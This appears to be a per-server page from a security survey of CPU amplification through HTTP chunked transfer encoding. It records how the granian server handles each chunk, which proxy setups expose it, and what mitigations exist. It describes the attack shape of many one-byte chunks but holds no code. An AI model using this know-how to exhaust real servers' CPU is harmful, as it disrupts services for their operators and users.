chunkloris: granian

part of the chunkloris per-chunk amplification survey. this page is the per-server record for granian under http/1.1 chunked transfer encoding.

at a glance

• server: granian 1.x
• runtime: python-3.12 (Rust core)
• ecosystem: python
• concurrency model: event-loop
• parser: Rust hyper internals exposed to Python
• delivery granularity: per-chunk
• chunk-limit helper: none exposed by the framework
• verdict: per-chunk — the parser/dispatcher boundary delivers one event per wire chunk. cpu cost under paced mode b is measurable per chunk.
• scaling exponent (mode a): 1.02 (wall time vs N, log-log slope across common cells)
• scaling exponent (mode b): 1.00
• notes: Rust core but the Rust->Python bridge adds per-chunk cost; ends up slower than pure-Python uvicorn-h11.

measurements

all cells run on a 1-vcpu docker container. cpu cost is derived from the target container’s cgroup v2 cpu.stat usage_usec delta around each cell.

what this means

the parser/dispatcher path on this server delivers one event per chunked-transfer-encoding chunk, so an attacker who sends a body as N one-byte chunks consumes roughly N × (mode-b µs/chunk) of server cpu on a single core. amplification scales linearly with N until the framework’s max_request_body_size (or equivalent) is hit.

what to do today

• if this server runs as an origin behind nginx with the default proxy_request_buffering on, the per-chunk attack shape does not reach this server — nginx delivers one content-length-framed body to the upstream in a single recv().
• if deployed direct-exposed, behind haproxy with default streaming, or behind any reverse proxy with proxy_request_buffering off, the per-chunk cost reaches this server.
• there is no framework-level chunk-count limit in the default config; use a frontend buffer, transport-layer rate limiting, or a wrapping middleware that imposes a chunk-count cap before draining the body.

reproducer

the full reproducer for this server is in the paper repo. the docker container pins granian 1.x and constrains the test container to a single cpu (--cpus=1). the prober script implements mode a (bridge-coalesced) and mode b (paced 100 µs) per the methodology section.

see the draft pdf for the full per-framework discussion.